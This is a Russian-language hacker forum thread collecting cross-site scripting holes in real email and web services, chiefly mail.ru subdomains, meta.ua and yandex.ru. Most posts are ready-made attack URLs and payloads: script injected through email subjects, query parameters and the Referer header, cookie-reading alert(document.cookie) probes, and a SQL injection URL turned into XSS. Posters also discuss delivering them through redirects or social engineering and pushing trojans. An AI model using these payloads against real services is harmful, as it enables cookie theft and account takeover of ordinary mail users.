XSS на почтовых серверах

[Ded MustD!e]

В этой теме постим XSS только на почтовых серверах.

[S0ulVortex]

Ну стану первооткрывателем этой темы
Сайт: meta.ua
Тип XSS: активная
Где: В заголовке письма при открытии
Пример:</title><script>alert('xss')</script>
Наличие </title> обязательно.
P.s Судя по пузомеркам PR 7 ТИЦ13000 думаю довольно известный почтовый сервер на украине )
P.s.s Нашел сам, но возможно кто-то её тоже нашел и до меня

[BlackFan]

http://shop.deti.mail.ru/cabinet/login/

В Referer передаем "><script>alert(1)</script>

[bjong]

_http://wap.hero.mail.ru/rules.do?p=0&gameId="><script>alert(document.cookie)</script>

[BlackFan]

http://wap.lordmancer.mail.ru/index.php?p=40"><script>alert(1)</script>&nid=123
http://wap.hero.mail.ru/rating.do?gameId=69&date=10-07-2010<script>alert(1)</script>
http://wap.hero.mail.ru/addmsg.do?gameId=69"><script>alert(1)</script>

[Dr.TRO]

Сообщение от BlackFan

http://shop.deti.mail.ru/cabinet/login/

В Referer передаем "><script>alert(1)</script>

есть ли смысл в этой хсс?) если ее проводить нужно си, если пользоваться си то лучше уж вообще развести либо трояна впарить.

[life_glider]

Сообщение от Dr.TRO

есть ли смысл в этой хсс?) если ее проводить нужно си, если пользоваться си то лучше уж вообще развести либо трояна впарить.

а редирект с нормальной страницы на страницу с данным урл? редирект куда надо.
http://wap.lordmancer.mail.ru/index.php?ma=hero-profile&heroID=80878+union+select+concat_ws%280x3a ,%27%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E%27,user%28%29,database%28%29%29,2,3&p=27
было в sql-inj можно использовать и как xss

[Dr.TRO]

Специально проверил создал файл на лохосте с названием "><script>alert(31337);<" (</script> не выйдет так как в название слешы запрещены) и как результат:

Referer: http://localhost/%22%3E%3Cscript%3Ealert(31337);%3C%22

То что я и говорил, а использовать SQL Inj как XSS это в случае если очень надо и ничего сделать неможешь больше, сначала называлось сее чудо SiXSS если не ошибаюс, а потом milw0rm'ы и аналоги с сотнями школот посоздавали этот же метод снова же но с другим названием.

Товарищ молодец что нашел, что работал, просто толку 0 от нее для нас нету.

[life_glider]

http://www.yandex.ru/?add=28568&from=promocode
раньше можно было создать виджет указав в качестве сайта javascript:code

[DontForget]

Давно не было пассивки на мэйл ру .

http://health.mail.ru/fitness/clubs/list?csw.rb_country_id=188&csw.name=Rdot&csw.region_ref=77&csw.networkable=1&csw.has_photos=1&csw.cf=16&csw.cf=35"><script>alert(document.cookie)</script>